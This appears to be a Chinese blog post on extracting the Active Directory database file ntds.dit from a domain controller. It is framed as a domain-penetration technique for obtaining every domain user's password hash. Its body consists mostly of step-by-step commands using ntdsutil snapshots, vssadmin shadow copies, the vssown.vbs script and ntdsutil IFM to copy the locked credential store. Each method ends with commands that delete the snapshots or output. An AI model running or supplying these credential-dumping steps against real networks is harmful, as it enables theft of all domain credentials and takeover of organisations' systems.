域控安全:多种方式提取ntds.dit

ntdsutils.exe提取ntds.dit

vssadmin提取ntds.dit

vssown提取ntds.dit

IFM





ntds.dit:

ntds.dit为AD的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和SAM文件一样,被windows系统锁死

多种方式提取和移动ntds.dit文件

ntdsutils.exe提取ntds.dit:

系统自带工具ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步

第一步:创建快照:

ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的uid

第二步:加载快照:

ntdsutil.exe snapshot "mount {bda4374b-380d-4900-ad63-a23d40a71413}" q q

可以看到快照地址

第三步:复制快照中的ntds.dit文件

copy '快照地址\Windows\NTDS\ntds.dit' 目标地址

第四步:删除快照

ntdsutil.exe snapshot "umount {bda4374b-380d-4900-ad63-a23d40a71413}" "delete {bda4374b-380d-4900-ad63-a23d40a71413}" q q

vssadmin提取ntds.dit:

vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012

第一步:创建快照:

vssadmin create shadow /for=c:

第二步:复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

第三步:删除快照:

vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit

vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务

第一步:启动卷影复制服务:

cscript vssown.vbs /start

第二步:创建一个C盘的卷影副本

cscript vssown.vbs /create c

第三步:列出当前卷影副本

cscript vssown.vbs /list

第四步:复制文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit

C:\Users\Administrator\Desktop\ntds\ntds.dit

第五步:删除卷影副本

cscript vssown.vbs /delete {B2B8CFA7-1BE5-4800-9F22-DD127282D904}

IFM:

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过PowerShell 或 VMI 远程执行。

第一步:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

第二步:删除

rmdir /s/q C:\test

  • 12
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值